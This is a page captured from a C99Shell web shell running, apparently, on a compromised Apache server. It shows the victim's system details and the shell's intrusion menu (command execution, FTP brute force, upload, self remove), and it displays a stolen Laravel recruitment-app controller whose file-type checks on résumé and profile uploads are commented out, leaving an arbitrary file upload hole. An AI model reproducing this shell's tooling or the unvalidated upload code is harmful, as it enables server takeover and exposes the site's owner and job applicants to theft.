!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JobController.php (14.83 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Branch;
use 
App\Models\CustomQuestion;
use 
App\Models\Job;
use 
App\Models\JobStage;
use 
App\Models\Utility;
use 
App\Models\JobApplication;
use 
App\Models\JobApplicationNote;
use 
App\Models\JobCategory;
use 
App\Models\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\App;

class 
JobController extends Controller
{

    public function 
index()
    {
        if(
\Auth::user()->can('manage job'))
        {
            
$jobs Job::where('created_by''='\Auth::user()->creatorId())->get();

            
$data['total']     = Job::where('created_by''='\Auth::user()->creatorId())->count();
            
$data['active']    = Job::where('status''active')->where('created_by''='\Auth::user()->creatorId())->count();
            
$data['in_active'] = Job::where('status''in_active')->where('created_by''='\Auth::user()->creatorId())->count();

            return 
view('job.index'compact('jobs''data'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {

        
$categories JobCategory::where('created_by'\Auth::user()->creatorId())->get()->pluck('title''id');
        
$categories->prepend('--''');

        
$branches Branch::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$branches->prepend('All'0);

        
$status Job::$status;

        
$customQuestion CustomQuestion::where('created_by'\Auth::user()->creatorId())->get();

        return 
view('job.create'compact('categories''status''branches''customQuestion'));
    }

    public function 
store(Request $request)
    {

        if(
\Auth::user()->can('create job'))
        {

            
$validator \Validator::make(
                
$request->all(), [
                                   
'title' => 'required',
                                   
'branch' => 'required',
                                   
'category' => 'required',
                                   
'skill' => 'required',
                                   
'position' => 'required|integer',
                                   
'start_date' => 'required',
                                   
'end_date' => 'required',
                                   
'description' => 'required',
                                   
'requirement' => 'required',
                               ]
            );

            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$job                  = new Job();
            
$job->title           $request->title;
            
$job->branch          $request->branch;
            
$job->category        $request->category;
            
$job->skill           $request->skill;
            
$job->position        $request->position;
            
$job->status          $request->status;
            
$job->start_date      $request->start_date;
            
$job->end_date        $request->end_date;
            
$job->description     $request->description;
            
$job->requirement     $request->requirement;
            
$job->code            uniqid();
            
$job->applicant       = !empty($request->applicant) ? implode(','$request->applicant) : '';
            
$job->visibility      = !empty($request->visibility) ? implode(','$request->visibility) : '';
            
$job->custom_question = !empty($request->custom_question) ? implode(','$request->custom_question) : '';
            
$job->created_by      \Auth::user()->creatorId();
            
$job->save();

            return 
redirect()->route('job.index')->with('success'__('Job  successfully created.'));
        }
        else
        {
            return 
redirect()->route('job.index')->with('error'__('Permission denied.'));
        }
    }

    public function 
show(Job $job)
    {
        
$status          Job::$status;
        
$job->applicant  = !empty($job->applicant) ? explode(','$job->applicant) : '';
        
$job->visibility = !empty($job->visibility) ? explode(','$job->visibility) : '';
        
$job->skill      = !empty($job->skill) ? explode(','$job->skill) : '';

        return 
view('job.show'compact('status''job'));
    }

    public function 
edit(Job $job)
    {

        
$categories JobCategory::where('created_by'\Auth::user()->creatorId())->get()->pluck('title''id');
        
$categories->prepend('--''');

        
$branches Branch::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$branches->prepend('All'0);

        
$status Job::$status;

        
$job->applicant       explode(','$job->applicant);
        
$job->visibility      explode(','$job->visibility);
        
$job->custom_question explode(','$job->custom_question);

        
$customQuestion CustomQuestion::where('created_by'\Auth::user()->creatorId())->get();

        return 
view('job.edit'compact('categories''status''branches''job''customQuestion'));
    }

    public function 
update(Request $requestJob $job)
    {
        if(
\Auth::user()->can('edit job'))
        {

            
$validator \Validator::make(
                
$request->all(), [
                                   
'title' => 'required',
                                   
'branch' => 'required',
                                   
'category' => 'required',
                                   
'skill' => 'required',
                                   
'position' => 'required|integer',
                                   
'start_date' => 'required',
                                   
'end_date' => 'required',
                                   
'description' => 'required',
                                   
'requirement' => 'required',
                               ]
            );

            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$job->title           $request->title;
            
$job->branch          $request->branch;
            
$job->category        $request->category;
            
$job->skill           $request->skill;
            
$job->position        $request->position;
            
$job->status          $request->status;
            
$job->start_date      $request->start_date;
            
$job->end_date        $request->end_date;
            
$job->description     $request->description;
            
$job->requirement     $request->requirement;
            
$job->applicant       = !empty($request->applicant) ? implode(','$request->applicant) : '';
            
$job->visibility      = !empty($request->visibility) ? implode(','$request->visibility) : '';
            
$job->custom_question = !empty($request->custom_question) ? implode(','$request->custom_question) : '';
            
$job->save();

            return 
redirect()->route('job.index')->with('success'__('Job  successfully updated.'));
        }
        else
        {
            return 
redirect()->route('job.index')->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(Job $job)
    {
        
$application JobApplication::where('job'$job->id)->get()->pluck('id');
        
JobApplicationNote::whereIn('application_id'$application)->delete();
        
JobApplication::where('job'$job->id)->delete();
        
$job->delete();

        return 
redirect()->route('job.index')->with('success'__('Job  successfully deleted.'));
    }

    public function 
career($id$lang)
    {
//        dd($lang);
        
$jobsJob::where('created_by'$id)->get();

        
\Session::put('lang'$lang);

        
App::setLocale($lang);

        
$companySettings['title_text']      = \DB::table('settings')->where('created_by'$id)->where('name''title_text')->first();
        
$companySettings['footer_text']     = \DB::table('settings')->where('created_by'$id)->where('name''footer_text')->first();
        
$companySettings['company_favicon'] = \DB::table('settings')->where('created_by'$id)->where('name''company_favicon')->first();
        
$companySettings['company_logo']    = \DB::table('settings')->where('created_by'$id)->where('name''company_logo')->first();
        
$languages                          Utility::languages();

        
$currantLang \Session::get('lang');
        if(empty(
$currantLang))
        {
            
$user        User::find($id);
            
$currantLang = !empty($user) && !empty($user->lang) ? $user->lang 'en';
        }


        return 
view('job.career'compact('companySettings''jobs''languages''currantLang','id'));
    }

    public function 
jobRequirement($code$lang)
    {
        
$job Job::where('code'$code)->first();
        if(
$job->status == 'in_active')
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }

        
\Session::put('lang'$lang);

        
\App::setLocale($lang);

        
$companySettings['title_text']      = \DB::table('settings')->where('created_by'$job->created_by)->where('name''title_text')->first();
        
$companySettings['footer_text']     = \DB::table('settings')->where('created_by'$job->created_by)->where('name''footer_text')->first();
        
$companySettings['company_favicon'] = \DB::table('settings')->where('created_by'$job->created_by)->where('name''company_favicon')->first();
        
$companySettings['company_logo']    = \DB::table('settings')->where('created_by'$job->created_by)->where('name''company_logo')->first();
        
$languages                          Utility::languages();

        
$currantLang \Session::get('lang');
        if(empty(
$currantLang))
        {
            
$currantLang = !empty($job->createdBy) ? $job->createdBy->lang 'en';
        }


        return 
view('job.requirement'compact('companySettings''job''languages''currantLang'));
    }

    public function 
jobApply($code$lang)
    {
        
\Session::put('lang'$lang);

        
\App::setLocale($lang);

        
$job                                Job::where('code'$code)->first();
        
$companySettings['title_text']      = \DB::table('settings')->where('created_by'$job->created_by)->where('name''title_text')->first();
        
$companySettings['footer_text']     = \DB::table('settings')->where('created_by'$job->created_by)->where('name''footer_text')->first();
        
$companySettings['company_favicon'] = \DB::table('settings')->where('created_by'$job->created_by)->where('name''company_favicon')->first();
        
$companySettings['company_logo']    = \DB::table('settings')->where('created_by'$job->created_by)->where('name''company_logo')->first();

        
$questions CustomQuestion::where('created_by'$job->created_by)->get();

        
$languages Utility::languages();

        
$currantLang \Session::get('lang');
        if(empty(
$currantLang))
        {
            
$currantLang = !empty($job->createdBy) ? $job->createdBy->lang 'en';
        }


        return 
view('job.apply'compact('companySettings''job''questions''languages''currantLang'));
    }

    public function 
jobApplyData(Request $request$code)
    {

        
$validator \Validator::make(
            
$request->all(), [
                               
'name' => 'required',
                               
'email' => 'required',
                               
'phone' => 'required',
//                               'profile' => 'mimes:jpeg,png,jpg,gif,svg|max:20480',
//                               'resume' => 'mimes:jpeg,png,jpg,gif,svg,pdf,doc,zip|max:20480',
                           
]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }

        
$job Job::where('code'$code)->first();

        if(!empty(
$request->profile))
        {
            
$filenameWithExt $request->file('profile')->getClientOriginalName();
            
$filename        pathinfo($filenameWithExtPATHINFO_FILENAME);
            
$extension       $request->file('profile')->getClientOriginalExtension();
            
$fileNameToStore $filename '_' time() . '.' $extension;

            
$dir        'uploads/job/profile';

            
$image_path $dir $filenameWithExt;
            if (
\File::exists($image_path)) {
                
\File::delete($image_path);
            }
            
$url '';
            
$path Utility::upload_file($request,'profile',$fileNameToStore,$dir,[]);
//            if($path['flag'] == 0){
//                $url = $filename;
//            }else{
//                return redirect()->back()->with('error', __($path['msg']));
//            }
        
}


        if(!empty(
$request->resume))
        {

            
$filenameWithExt1 $request->file('resume')->getClientOriginalName();
            
$filename1        pathinfo($filenameWithExt1PATHINFO_FILENAME);
            
$extension1       $request->file('resume')->getClientOriginalExtension();
            
$fileNameToStore1 $filename1 '_' time() . '.' $extension1;

            
$dir        'uploads/job/resume';

            
$image_path $dir $filenameWithExt1;
            if (
\File::exists($image_path)) {
                
\File::delete($image_path);
            }
            
$url '';
            
$path Utility::upload_file($request,'resume',$fileNameToStore1,$dir,[]);

//            if($path['flag'] == 0){
//                $url = $filename;
//            }else{
//                return redirect()->back()->with('error', __($path['msg']));
//            }
        
}


        
$stage=JobStage::where('created_by',$job->created_by)->first();
        
$jobApplication                  = new JobApplication();
        
$jobApplication->job             $job->id;
        
$jobApplication->name            $request->name;
        
$jobApplication->email           $request->email;
        
$jobApplication->phone           $request->phone;
        
$jobApplication->profile         = !empty($request->profile) ? $fileNameToStore '';
        
$jobApplication->resume          = !empty($request->resume) ? $fileNameToStore1 '';
        
$jobApplication->cover_letter    $request->cover_letter;
        
$jobApplication->dob             $request->dob;
        
$jobApplication->gender          $request->gender;
        
$jobApplication->country         $request->country;
        
$jobApplication->state           $request->state;
        
$jobApplication->city            $request->city;
        
$jobApplication->custom_question json_encode($request->question);
        
$jobApplication->created_by      $job->created_by;
        
$jobApplication->stage           $stage->id;
        
$jobApplication->save();

        return 
redirect()->back()->with('success'__('Job application successfully send.'));
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0188 ]--